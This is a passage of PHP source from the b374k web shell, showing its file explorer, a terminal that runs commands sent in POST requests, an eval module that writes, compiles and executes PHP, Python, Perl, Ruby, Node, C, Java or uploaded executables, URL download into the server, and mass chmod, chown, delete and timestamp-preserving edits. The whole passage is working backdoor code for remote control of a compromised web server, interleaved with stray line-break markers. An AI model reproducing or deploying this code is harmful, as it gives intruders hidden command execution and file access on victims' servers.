|
||
|
chdir($cur);
|
||
|
|
||
|
natcasesort($allfolders);
|
||
|
natcasesort($allfiles);
|
||
|
|
||
|
$cols = array();
|
||
|
if(is_win()){
|
||
|
$cols = array(
|
||
|
"perms"=>"get_fileperms",
|
||
|
"modified"=>"get_filemtime"
|
||
|
);
|
||
|
}
|
||
|
else{
|
||
|
$cols = array(
|
||
|
"owner"=>"get_fileowner",
|
||
|
"perms"=>"get_fileperms",
|
||
|
"modified"=>"get_filemtime"
|
||
|
);
|
||
|
}
|
||
|
|
||
|
$totalFiles = count($allfiles);
|
||
|
$totalFolders = 0;
|
||
|
|
||
|
$output .= "<table id='xplTable' class='dataView sortable'><thead>";
|
||
|
$output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>";
|
||
|
|
||
|
foreach($cols as $k=>$v){
|
||
|
$output .= "<th class='col-".$k."'>".$k."</th>";
|
||
|
}
|
||
|
$output .= "</tr></thead><tbody>";
|
||
|
|
||
|
foreach($allfolders as $d){
|
||
|
$cboxException = "";
|
||
|
if(($d==".")||($d=="..")){
|
||
|
$action = "actiondot";
|
||
|
$cboxException = " cBoxException";
|
||
|
}
|
||
|
else{
|
||
|
$action = "actionfolder";
|
||
|
$totalFolders++;
|
||
|
}
|
||
|
$output .= "
|
||
|
<tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td>
|
||
|
<td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td>
|
||
|
<td>DIR</td>";
|
||
|
foreach($cols as $k=>$v){
|
||
|
$sortable = "";
|
||
|
if($k=='modified') $sortable = " title='".filemtime($d)."'";
|
||
|
$output .= "<td".$sortable.">".$v($d)."</td>";
|
||
|
}
|
||
|
$output .= "</tr>";
|
||
|
}
|
||
|
foreach($allfiles as $f){
|
||
|
$output .= "
|
||
|
<tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td>
|
||
|
<td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td>
|
||
|
<td title='".filesize($f)."'>".get_filesize($f)."</td>";
|
||
|
foreach($cols as $k=>$v){
|
||
|
$sortable = "";
|
||
|
if($k=='modified') $sortable = " title='".filemtime($f)."'";
|
||
|
$output .= "<td".$sortable.">".$v($f)."</td>";
|
||
|
}
|
||
|
$output .= "</tr>";
|
||
|
}
|
||
|
$output .= "</tbody><tfoot>";
|
||
|
|
||
|
$colspan = 1 + count($cols);
|
||
|
$output .= "<tr><td><div class='cBoxAll'></div></td><td>
|
||
|
<select id='massAction' class='colSpan'>
|
||
|
<option disabled selected>Action</option>
|
||
|
<option>cut</option>
|
||
|
<option>copy</option>
|
||
|
<option>paste</option>
|
||
|
<option>delete</option>
|
||
|
<option disabled>------------</option>
|
||
|
<option>chmod</option>
|
||
|
<option>chown</option>
|
||
|
<option>touch</option>
|
||
|
<option disabled>------------</option>
|
||
|
<option>extract (tar)</option>
|
||
|
<option>extract (tar.gz)</option>
|
||
|
<option>extract (zip)</option>
|
||
|
<option disabled>------------</option>
|
||
|
<option>compress (tar)</option>
|
||
|
<option>compress (tar.gz)</option>
|
||
|
<option>compress (zip)</option>
|
||
|
<option disabled>------------</option>
|
||
|
</select>
|
||
|
</td><td colspan='".$colspan."'></td></tr>
|
||
|
<tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr>
|
||
|
";
|
||
|
$output .= "</tfoot></table>";
|
||
|
return $output;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('eval_get_supported')){
|
||
|
function eval_get_supported(){
|
||
|
$eval_supported = array();
|
||
|
|
||
|
$eval_supported[] = "php";
|
||
|
|
||
|
$check = strtolower(execute("python -h"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "python";
|
||
|
|
||
|
$check = strtolower(execute("perl -h"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
|
||
|
|
||
|
$check = strtolower(execute("ruby -h"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
|
||
|
|
||
|
$check = strtolower(execute("node -h"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
|
||
|
else{
|
||
|
$check = strtolower(execute("nodejs -h"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
|
||
|
}
|
||
|
|
||
|
$check = strtolower(execute("gcc --help"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
|
||
|
|
||
|
$check = strtolower(execute("java -help"));
|
||
|
if(strpos($check,"usage")!==false){
|
||
|
$check = strtolower(execute("javac -help"));
|
||
|
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
|
||
|
}
|
||
|
|
||
|
return implode(",", $eval_supported);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('eval_go')){
|
||
|
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
|
||
|
$res = "";
|
||
|
$output = "";
|
||
|
if($evalOptions!="") $evalOptions = $evalOptions." ";
|
||
|
if($evalArguments!="") $evalArguments = " ".$evalArguments;
|
||
|
|
||
|
if($evalType=="php"){
|
||
|
ob_start();
|
||
|
eval($evalCode);
|
||
|
$res = ob_get_contents();
|
||
|
ob_end_clean();
|
||
|
return $res;
|
||
|
}
|
||
|
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
|
||
|
$tmpdir = get_writabledir();
|
||
|
chdir($tmpdir);
|
||
|
|
||
|
$res .= "Using dir : ".$tmpdir;
|
||
|
if(is_writable($tmpdir)){
|
||
|
$res .= " (writable)\n";
|
||
|
$uniq = substr(md5(time()),0,8);
|
||
|
$filename = $evalType.$uniq;
|
||
|
$path = $filename;
|
||
|
$res .= "Temporary file : ".$path;
|
||
|
if(write_file($path, $evalCode)){
|
||
|
$res .= " (ok)\n";
|
||
|
$res .= "Setting permissions : 0755";
|
||
|
if(chmod($path, 0755)){
|
||
|
$res .= " (ok)\n";
|
||
|
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
|
||
|
$res .= "Execute : ".$cmd."\n";
|
||
|
$output = execute($cmd);
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
|
||
|
$res .= "Deleting temporary file : ".$path;
|
||
|
if(unlink($path)) $res .= " (ok)\n";
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (not writable)\n";
|
||
|
|
||
|
$res .= "Finished...";
|
||
|
return $res."{[|b374k|]}".$output;
|
||
|
}
|
||
|
elseif($evalType=="gcc"){
|
||
|
$tmpdir = get_writabledir();
|
||
|
chdir($tmpdir);
|
||
|
|
||
|
$res .= "Using dir : ".$tmpdir;
|
||
|
if(is_writable($tmpdir)){
|
||
|
$res .= " (writable)\n";
|
||
|
$uniq = substr(md5(time()),0,8);
|
||
|
$filename = $evalType.$uniq.".c";
|
||
|
$path = $filename;
|
||
|
$res .= "Temporary file : ".$path;
|
||
|
if(write_file($path, $evalCode)){
|
||
|
$res .= " (ok)\n";
|
||
|
$ext = (is_win())? ".exe":".out";
|
||
|
$pathres = $filename.$ext;
|
||
|
$evalOptions = "-o ".$pathres." ".$evalOptions;
|
||
|
$cmd = "gcc ".$evalOptions.$path;
|
||
|
$res .= "Compiling : ".$cmd;
|
||
|
$res .= execute($cmd);
|
||
|
if(is_file($pathres)){
|
||
|
$res .= " (ok)\n";
|
||
|
$res .= "Setting permissions : 0755";
|
||
|
if(chmod($pathres, 0755)){
|
||
|
$res .= " (ok)\n";
|
||
|
$cmd = $pathres.$evalArguments;
|
||
|
$res .= "Execute : ".$cmd."\n";
|
||
|
$output = execute($cmd);
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
$res .= "Deleting temporary file : ".$pathres;
|
||
|
if(unlink($pathres)) $res .= " (ok)\n";
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
$res .= "Deleting temporary file : ".$path;
|
||
|
if(unlink($path)) $res .= " (ok)\n";
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (not writable)\n";
|
||
|
|
||
|
$res .= "Finished...";
|
||
|
return $res."{[|b374k|]}".$output;
|
||
|
}
|
||
|
elseif($evalType=="java"){
|
||
|
$tmpdir = get_writabledir();
|
||
|
chdir($tmpdir);
|
||
|
|
||
|
$res .= "Using dir : ".$tmpdir;
|
||
|
if(is_writable($tmpdir)){
|
||
|
$res .= " (writable)\n";
|
||
|
|
||
|
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
|
||
|
$classname = trim($r[1]);
|
||
|
$filename = $classname;
|
||
|
}
|
||
|
else{
|
||
|
$uniq = substr(md5(time()),0,8);
|
||
|
$filename = $evalType.$uniq;
|
||
|
$evalCode = "class ".$filename." { ".$evalCode . " } ";
|
||
|
}
|
||
|
|
||
|
$path = $filename.".java";
|
||
|
$res .= "Temporary file : ".$path;
|
||
|
if(write_file($path, $evalCode)){
|
||
|
$res .= " (ok)\n";
|
||
|
$cmd = "javac ".$evalOptions.$path;
|
||
|
$res .= "Compiling : ".$cmd;
|
||
|
$res .= execute($cmd);
|
||
|
$pathres = $filename.".class";
|
||
|
if(is_file($pathres)){
|
||
|
$res .= " (ok)\n";
|
||
|
$res .= "Setting permissions : 0755";
|
||
|
if(chmod($pathres, 0755)){
|
||
|
$res .= " (ok)\n";
|
||
|
$cmd = "java ".$filename.$evalArguments;
|
||
|
$res .= "Execute : ".$cmd."\n";
|
||
|
$output = execute($cmd);
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
$res .= "Deleting temporary file : ".$pathres;
|
||
|
if(unlink($pathres)) $res .= " (ok)\n";
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
$res .= "Deleting temporary file : ".$path;
|
||
|
if(unlink($path)) $res .= " (ok)\n";
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (not writable)\n";
|
||
|
|
||
|
$res .= "Finished...";
|
||
|
return $res."{[|b374k|]}".$output;
|
||
|
}
|
||
|
elseif($evalType=="executable"){
|
||
|
$tmpdir = get_writabledir();
|
||
|
chdir($tmpdir);
|
||
|
|
||
|
$res .= "Using dir : ".$tmpdir;
|
||
|
if(is_writable($tmpdir)){
|
||
|
$res .= " (writable)\n";
|
||
|
$uniq = substr(md5(time()),0,8);
|
||
|
$filename = $evalType.$uniq.".exe";
|
||
|
$path = $filename;
|
||
|
$res .= "Temporary file : ".$path;
|
||
|
if(write_file($path, $evalCode)){
|
||
|
$res .= " (ok)\n";
|
||
|
$cmd = $path.$evalArguments;
|
||
|
$res .= "Execute : ".$cmd."\n";
|
||
|
$output = execute($cmd);
|
||
|
|
||
|
$res .= "Deleting temporary file : ".$path;
|
||
|
if(unlink($path)) $res .= " (ok)\n";
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (failed)\n";
|
||
|
}
|
||
|
else $res .= " (not writable)\n";
|
||
|
|
||
|
$res .= "Finished...";
|
||
|
return $res."{[|b374k|]}".$output;
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('output')){
|
||
|
function output($str){
|
||
|
$error = @ob_get_contents();
|
||
|
@ob_end_clean();
|
||
|
header("Content-Type: text/plain");
|
||
|
header("Cache-Control: no-cache");
|
||
|
header("Pragma: no-cache");
|
||
|
echo $str;
|
||
|
die();
|
||
|
}
|
||
|
}
|
||
|
block_bot();
|
||
|
auth();
|
||
|
chdir(get_cwd());
|
||
|
$nav = get_nav(get_cwd());
|
||
|
$p = array_map("rawurldecode", get_post());
|
||
|
$cwd = html_safe(get_cwd());
|
||
|
$GLOBALS['module'] = array();
|
||
|
|
||
|
$explorer_content = "";
|
||
|
if(isset($p['viewEntry'])){
|
||
|
$path = trim($p['viewEntry']);
|
||
|
if(is_file($path)){
|
||
|
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
|
||
|
setcookie("cwd", $dirname);
|
||
|
chdir($dirname);
|
||
|
$nav = get_nav($dirname);
|
||
|
$cwd = html_safe($dirname);
|
||
|
$explorer_content = view_file($path, "auto");
|
||
|
}
|
||
|
elseif(is_dir($path)){
|
||
|
$path = realpath($path).DIRECTORY_SEPARATOR;
|
||
|
setcookie("cwd", $path);
|
||
|
chdir($path);
|
||
|
$nav = get_nav($path);
|
||
|
$cwd = html_safe($path);
|
||
|
$explorer_content = show_all_files($path);
|
||
|
}
|
||
|
}
|
||
|
else $explorer_content = show_all_files(get_cwd());
|
||
|
|
||
|
$GLOBALS['module']['explorer']['id'] = "explorer";
|
||
|
$GLOBALS['module']['explorer']['title'] = "Explorer";
|
||
|
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
|
||
|
$GLOBALS['module']['explorer']['content'] = $explorer_content;
|
||
|
|
||
|
$GLOBALS['module']['terminal']['id'] = "terminal";
|
||
|
$GLOBALS['module']['terminal']['title'] = "Terminal";
|
||
|
$GLOBALS['module']['terminal']['js_ontabselected'] = "
|
||
|
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
|
||
|
$GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."></span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>";
|
||
|
|
||
|
|
||
|
$GLOBALS['module']['eval']['id'] = "eval";
|
||
|
$GLOBALS['module']['eval']['title'] = "Eval";
|
||
|
$GLOBALS['module']['eval']['js_ontabselected'] = "
|
||
|
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
|
||
|
$GLOBALS['module']['eval']['content'] = "
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody>
|
||
|
<tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr>
|
||
|
|
||
|
<tr id='evalAdditional'><td colspan='4'>
|
||
|
<input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
|
||
|
<input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
|
||
|
</td></tr>
|
||
|
|
||
|
<tr>
|
||
|
<td style='width:144px;'>
|
||
|
<select id='evalType'>
|
||
|
|
||
|
</select>
|
||
|
</td>
|
||
|
<td colspan='3'>
|
||
|
<span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span>
|
||
|
</td>
|
||
|
</tr>
|
||
|
|
||
|
<tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
|
||
|
</tbody>
|
||
|
</table>
|
||
|
";
|
||
|
|
||
|
$res = "";
|
||
|
if(isset($p['cd'])){
|
||
|
$path = $p['cd'];
|
||
|
if(trim($path)=='') $path = dirname(__FILE__);
|
||
|
|
||
|
$path = realpath($path);
|
||
|
if(is_file($path)) $path = dirname($path);
|
||
|
if(is_dir($path)){
|
||
|
chdir($path);
|
||
|
$path = $path.DIRECTORY_SEPARATOR;
|
||
|
setcookie("cwd", $path);
|
||
|
$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
|
||
|
if(isset($p['showfiles'])&&($p['showfiles']=='true')){
|
||
|
$res .= show_all_files($path);
|
||
|
}
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['viewFile']) && isset($p['viewType'])){
|
||
|
$path = trim($p['viewFile']);
|
||
|
$type = trim($p['viewType']);
|
||
|
$preserveTimestamp = trim($p['preserveTimestamp']);
|
||
|
if(is_file($path)){
|
||
|
$res = view_file($path, $type, $preserveTimestamp);
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
|
||
|
$renameFile = trim($p['renameFile']);
|
||
|
$renameFileTo = trim($p['renameFileTo']);
|
||
|
if(file_exists($renameFile)){
|
||
|
if(rename($renameFile, $renameFileTo)){
|
||
|
$res = dirname($renameFileTo);
|
||
|
}
|
||
|
else $res = "error";
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['newFolder'])){
|
||
|
$newFolder = trim($p['newFolder']);
|
||
|
if(mkdir($newFolder)){
|
||
|
$res = dirname($newFolder);
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['newFile'])){
|
||
|
$newFile = trim($p['newFile']);
|
||
|
if(touch($newFile)){
|
||
|
$res = dirname($newFile);
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['delete'])){
|
||
|
$path = trim($p['delete']);
|
||
|
$dirname = dirname($path);
|
||
|
if(is_file($path)){
|
||
|
if(unlink($path)) $res = $dirname;
|
||
|
}
|
||
|
elseif(is_dir($path)){
|
||
|
if(rmdirs($path)>0) $res = $dirname;
|
||
|
}
|
||
|
else $res = "error";
|
||
|
if(file_exists($path)) $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
|
||
|
$editFilename = trim($p['editFilename']);
|
||
|
$editInput = trim($p['editInput']);
|
||
|
$editType = trim($p['editType']);
|
||
|
$preserveTimestamp = trim($p['preserveTimestamp']);
|
||
|
$time = filemtime($editFilename);
|
||
|
if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
|
||
|
if(write_file($editFilename, $editInput)){
|
||
|
$res = $editFilename;
|
||
|
if($preserveTimestamp=='true') touch($editFilename, $time);
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['findType'])){
|
||
|
$findType = trim($p['findType']);
|
||
|
$findPath = trim($p['findPath']);
|
||
|
$findName = trim($p['findName']);
|
||
|
$findNameRegex = trim($p['findNameRegex']);
|
||
|
$findNameInsensitive = trim($p['findNameInsensitive']);
|
||
|
$findContent = trim($p['findContent']);
|
||
|
$findContentRegex = trim($p['findContentRegex']);
|
||
|
$findContentInsensitive = trim($p['findContentInsensitive']);
|
||
|
$findReadable = trim($p['findReadable']);
|
||
|
$findWritable = trim($p['findWritable']);
|
||
|
$findExecutable = trim($p['findExecutable']);
|
||
|
|
||
|
$candidate = get_all_files($findPath);
|
||
|
if($findType=='file') $candidate = array_filter($candidate, "is_file");
|
||
|
elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
|
||
|
else $res = "error";
|
||
|
|
||
|
foreach($candidate as $k){
|
||
|
if(($findType=="file")||($findType=="folder")){
|
||
|
if(!empty($findName)){
|
||
|
if($findNameRegex=="true"){
|
||
|
$case = ($findNameInsensitive=="true")? "i":"";
|
||
|
if(!preg_match("/".$findName."/".$case, basename($k))){
|
||
|
$candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
$check = false;
|
||
|
if($findNameInsensitive=="true"){
|
||
|
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
|
||
|
}
|
||
|
else{
|
||
|
$check = strpos(basename($k), $findName)===false;
|
||
|
}
|
||
|
|
||
|
if($check){
|
||
|
$candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
if($findType=="file"){
|
||
|
if(!empty($findContent)){
|
||
|
$content = read_file($k);
|
||
|
if($findContentRegex=="true"){
|
||
|
$case = ($findContentInsensitive=="true")? "i":"";
|
||
|
if(!preg_match("/".$findContent."/".$case, $content)){
|
||
|
$candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
$check = false;
|
||
|
if($findContentInsensitive=="true"){
|
||
|
$check = strpos(strtolower($content), strtolower($findContent))===false;
|
||
|
}
|
||
|
else{
|
||
|
$check = strpos($content, $findContent)===false;
|
||
|
}
|
||
|
if($check){
|
||
|
$candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
foreach($candidate as $k){
|
||
|
if($findReadable=="true"){
|
||
|
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
if($findWritable=="true"){
|
||
|
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
if($findExecutable=="true"){
|
||
|
if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(count($candidate)>0){
|
||
|
$res = "";
|
||
|
foreach($candidate as $k){
|
||
|
$res .= "<p><span class='strong'>></span> <a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>";
|
||
|
}
|
||
|
}
|
||
|
else $res = "";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['ulType'])){
|
||
|
$ulSaveTo = trim($p['ulSaveTo']);
|
||
|
$ulFilename = trim($p['ulFilename']);
|
||
|
|
||
|
if($p['ulType']=='comp'){
|
||
|
$ulFile = $_FILES['ulFile'];
|
||
|
if(empty($ulFilename)) $ulFilename = $ulFile['name'];
|
||
|
|
||
|
if(is_uploaded_file($ulFile['tmp_name'])){
|
||
|
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
|
||
|
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
|
||
|
if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
|
||
|
$res = "<span class='strong'>></span> <a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )";
|
||
|
}
|
||
|
else $res = "error";
|
||
|
}
|
||
|
else $res = "error";
|
||
|
}
|
||
|
elseif($p['ulType']=='url'){
|
||
|
$ulFile = trim($p['ulFile']);
|
||
|
if(empty($ulFilename)) $ulFilename = basename($ulFile);
|
||
|
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
|
||
|
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
|
||
|
|
||
|
if(download($ulFile, $newfile)){
|
||
|
$res = "<span class='strong'>></span> <a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )";
|
||
|
}
|
||
|
else $res = "error";
|
||
|
}
|
||
|
else $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['download'])){
|
||
|
$file = trim($p['download']);
|
||
|
if(is_file($file)){
|
||
|
header("Content-Type: application/octet-stream");
|
||
|
header('Content-Transfer-Encoding: binary');
|
||
|
header("Content-length: ".filesize($file));
|
||
|
header("Cache-Control: no-cache");
|
||
|
header("Pragma: no-cache");
|
||
|
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
|
||
|
$handler = fopen($file,"rb");
|
||
|
while(!feof($handler)){
|
||
|
print(fread($handler, 1024*8));
|
||
|
@ob_flush();
|
||
|
@flush();
|
||
|
}
|
||
|
fclose($handler);
|
||
|
die();
|
||
|
}
|
||
|
}
|
||
|
elseif(isset($p['multimedia'])){
|
||
|
$file = trim($p['multimedia']);
|
||
|
$mime_list = get_resource('mime');
|
||
|
$mime = "";
|
||
|
$file_ext_pos = strrpos($file, ".");
|
||
|
if($file_ext_pos!==false){
|
||
|
$file_ext = trim(substr($file, $file_ext_pos),".");
|
||
|
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
|
||
|
$mime = $res[1];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(is_file($file)){
|
||
|
header("Content-Type: ".$mime);
|
||
|
header('Content-Transfer-Encoding: binary');
|
||
|
header("Content-length: ".filesize($file));
|
||
|
echo "data:".$mime.";base64,".base64_encode(read_file($file));
|
||
|
die();
|
||
|
}
|
||
|
}
|
||
|
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
|
||
|
$massType = trim($p['massType']);
|
||
|
$massBuffer = trim($p['massBuffer']);
|
||
|
$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
|
||
|
$massValue = trim($p['massValue']);
|
||
|
$counter = 0;
|
||
|
|
||
|
$massBufferArr = explode("\n", $massBuffer);
|
||
|
if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
|
||
|
if(compress($massType, $massValue, $massBufferArr)){
|
||
|
$counter++;
|
||
|
return $counter;
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
foreach($massBufferArr as $k){
|
||
|
$path = trim($k);
|
||
|
if(file_exists($path)){
|
||
|
$preserveTimestamp = filemtime($path);
|
||
|
if($massType=='delete'){
|
||
|
if(is_file($path)){
|
||
|
if(unlink($path)) $counter++;
|
||
|
}
|
||
|
elseif(is_dir($path)){
|
||
|
if(rmdirs($path)>0) $counter++;
|
||
|
}
|
||
|
}
|
||
|
elseif($massType=='cut'){
|
||
|
$dest = $massPath.basename($path);
|
||
|
if(rename($path, $dest)){
|
||
|
$counter++;
|
||
|
touch($dest, $preserveTimestamp);
|
||
|
}
|
||
|
}
|
||
|
elseif($massType=='copy'){
|
||
|
$dest = $massPath.basename($path);
|
||
|
if(is_dir($path)){
|
||
|
if(copys($path, $dest)>0) $counter++;
|
||
|
}
|
||
|
elseif(is_file($path)){
|
||
|
if(copy($path, $dest)) $counter++;
|
||
|
}
|
||
|
}
|
||
|
elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
|
||
|
if(decompress($massType, $path, $massValue)){
|
||
|
$counter++;
|
||
|
return $counter;
|
||
|
}
|
||
|
}
|
||
|
elseif(!empty($massValue)){
|
||
|
if($massType=='chmod'){
|
||
|
if(chmod($path, octdec($massValue))) $counter++;
|
||
|
}
|
||
|
elseif($massType=='chown'){
|
||
|
if(chown($path, $massValue)) $counter++;
|
||
|
}
|
||
|
elseif($massType=='touch'){
|
||
|
if(touch($path, strtotime($massValue))) $counter++;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
if($counter>0) output($counter);
|
||
|
output('error');
|
||
|
}
|
||
|
elseif(isset($p['viewFileorFolder'])){
|
||
|
$entry = $p['viewFileorFolder'];
|
||
|
if(is_file($entry)) output('file');
|
||
|
elseif(is_dir($entry)) output('folder');
|
||
|
output('error');
|
||
|
}
|
||
|
elseif(isset($p['terminalInput'])){
|
||
|
output(html_safe(execute($p['terminalInput'])));
|
||
|
}
|
||
|
elseif(isset($p['evalInput']) && isset($p['evalType'])){
|
||
|
$evalInput = $p['evalInput'];
|
||
|
$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
|
||
|
$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
|
||
|
$evalType = $p['evalType'];
|
||
|
|
||
|
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
|
||
|
@ini_set('html_errors','0');
|
||
|
@ini_set('display_errors','1');
|
||
|
@ini_set('display_startup_errors','1');
|
||
|
|
||
|
$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
|
||
|
if($res===false) $res == "error";
|
||
|
output(html_safe($res));
|
||
|
}
|
||
|
elseif(isset($p['evalGetSupported'])){
|
||
|
$res = eval_get_supported();
|
||
|
output($res);
|
||
|
}
|
||
|
$GLOBALS['module']['convert']['id'] = "convert";
|
||
|
$GLOBALS['module']['convert']['title'] = "Convert";
|
||
|
$GLOBALS['module']['convert']['js_ontabselected'] = "
|
||
|
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
|
||
|
$GLOBALS['module']['convert']['content'] = "
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody>
|
||
|
<tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr>
|
||
|
<tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
|
||
|
</tbody>
|
||
|
<tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
|
||
|
</table>";
|
||
|
|
||
|
if(!function_exists('decode')){
|
||
|
function decode($str){
|
||
|
$res = "";
|
||
|
$length = (int) strlen($str);
|
||
|
|
||
|
$res .= decode_line("md5", md5($str), "input");
|
||
|
$res .= decode_line("sha1", sha1($str), "input");
|
||
|
|
||
|
$res .= decode_line("base64 encode", base64_encode($str), "textarea");
|
||
|
$res .= decode_line("base64 decode", base64_decode($str), "textarea");
|
||
|
|
||
|
|
||
|
$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
|
||
|
$res .= decode_line("string to hex", bin2hex($str), "textarea");
|
||
|
|
||
|
$ascii = "";
|
||
|
for($i=0; $i<$length; $i++){
|
||
|
$ascii .= ord(substr($str,$i,1))." ";
|
||
|
}
|
||
|
$res .= decode_line("ascii char", trim($ascii), "textarea");
|
||
|
|
||
|
